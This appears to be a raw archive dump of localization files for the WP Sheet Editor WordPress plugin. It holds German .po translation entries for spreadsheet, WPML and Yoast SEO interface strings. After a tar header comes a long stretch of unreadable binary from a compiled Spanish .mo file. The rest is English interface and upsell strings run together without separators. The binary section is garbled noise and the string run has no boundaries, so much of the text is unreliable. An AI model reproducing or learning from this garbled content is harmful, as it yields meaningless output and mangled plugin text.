                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:459 msgid "Basic search" msgstr "Einfache Suche" #: wp-sheet-editor/dev/wp-sheet-editor.php:461 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Suche im Arbeitsblatt. Suche Beiträge nach Stichwort, Status und Autor." #: wp-sheet-editor/dev/wp-sheet-editor.php:469 msgid "Columns resizing" msgstr "Größenänderung von Spalten" #: wp-sheet-editor/dev/wp-sheet-editor.php:471 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Ändere die Größe der Spalten im Arbeitsblatt, und speichere sie für " "zukünftige Sitzungen.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:477 msgid "Duplicate (Tool)" msgstr "Duplizieren (Werkzeug)" #: wp-sheet-editor/dev/wp-sheet-editor.php:479 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Füge dem Arbeitsblatt ein \"Duplikat\"-Werkzeug hinzu. Du kannst eine " "Zeile auswählen (Beitrag, Produkt, Gutschein usw.) und viele Kopien " "erstellen.

                  Beispiel. Erstelle 100 Produkte mit den gleichen Tags, " "Abmessungen, Attributen und Variationen. Und ändere nur ein paar Felder " "manuell.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:490 msgid "Everything you need for All Posts Types and Products" msgstr "Alles, was du für alle Beiträge, Typen und Produkte benötigst" #: wp-sheet-editor/dev/wp-sheet-editor.php:497 #: wp-sheet-editor/dev/wp-sheet-editor.php:510 msgid "Buy bundle" msgstr "Bundle kaufen" #: wp-sheet-editor/dev/wp-sheet-editor.php:503 msgid "Everything you need for Users and Customers" msgstr "Alles, was du für Benutzer und Kunden benötigst" #: wp-sheet-editor/dev/wp-sheet-editor.php:820 msgid "Quick Answers" msgstr "Schnelle Antworten" #: wp-sheet-editor/dev/wp-sheet-editor.php:821 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "Du kannst unsere FAQ mit einer Liste von Hunderten von Fragen lesen" #: wp-sheet-editor/dev/wp-sheet-editor.php:825 msgid "Guides and Tutorials" msgstr "Leitfäden und Tutorials" #: wp-sheet-editor/dev/wp-sheet-editor.php:826 msgid "We have +200 tutorials and guides on our blog" msgstr "Wir haben +200 Tutorials und Anleitungen in unserem Blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:831 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Erhalte sofortige Hilfe im Live-Chat + E-Mail-Support während der " "Geschäftszeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:871 msgid "WP Sheet Editor Usage" msgstr "Verwendung des WP Sheet Editors" #: wpml/inc/post.php:126 msgid "WPML - Duplicate" msgstr "WPML - Duplikat" #: wpml/inc/post.php:134 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Gib mehrere durch Kommata getrennte Sprachcodes ein, und wir erstellen " "Kopien der Hauptsprache. Zum Beispiel: en, es. Bestehende Sprachen werden " "übersprungen." #: wpml/inc/post.php:142 wpml/inc/term.php:35 msgid "WPML - Translation of" msgstr "WPML - Übersetzung von" #: wpml/inc/post.php:157 msgid "WPML - Relationship" msgstr "WPML - Beziehung" #: wpml/inc/post.php:168 msgid "Duplicate from the main language" msgstr "Von der Hauptsprache duplizieren" #: wpml/inc/post.php:169 msgid "Translate separately" msgstr "Separat übersetzen" #: wpml/inc/post.php:180 wpml/inc/term.php:49 msgid "WPML - Language" msgstr "WPML - Sprache" #: wpml/inc/post.php:191 wpml/inc/term.php:63 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Du kannst die Sprache dieses Beitrags ändern. Wenn die Übersetzung für die " "neue Sprache vorhanden ist, wird diese Änderung nicht übernommen." #: wpml/inc/post.php:199 msgid "WPML - Translation priority" msgstr "WPML - Priorität der Übersetzung" #: yoast-seo/yoast-seo.php:26 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Bitte aktualisiere das WP Sheet Editor Plugin und alle seine Erweiterungen " "auf die neueste Version. Die Eigenschaften des Plugins \"" #: yoast-seo/yoast-seo.php:226 msgid "SEO Title" msgstr "SEO Titel" #: yoast-seo/yoast-seo.php:238 msgid "SEO Description" msgstr "SEO Beschreibung" #: yoast-seo/yoast-seo.php:249 msgid "SEO Keyword" msgstr "SEO Schlüsselwort" #: yoast-seo/yoast-seo.php:260 msgid "SEO FB title" msgstr "SEO FB Titel" #: yoast-seo/yoast-seo.php:269 msgid "SEO FB description" msgstr "SEO FB Beschreibung" #: yoast-seo/yoast-seo.php:278 msgid "SEO FB image" msgstr "SEO FB Bild" #: yoast-seo/yoast-seo.php:289 msgid "SEO TW title" msgstr "SEO TW Titel" #: yoast-seo/yoast-seo.php:298 msgid "SEO TW description" msgstr "SEO TW Beschreibung" #: yoast-seo/yoast-seo.php:307 msgid "SEO TW image" msgstr "SEO TW Bild" #: yoast-seo/yoast-seo.php:318 msgid "SEO Canonical URL" msgstr "SEO Canonical URL" #: yoast-seo/yoast-seo.php:334 msgid "SEO No Index" msgstr "SEO Kein Index" #: yoast-seo/yoast-seo.php:346 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:363 msgid "SEO Primary %s" msgstr "SEO Primär %s" modules/wp-sheet-editor/lang/vg_sheet_editor-es_CO.mo000064400000640304147600365160016671 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display 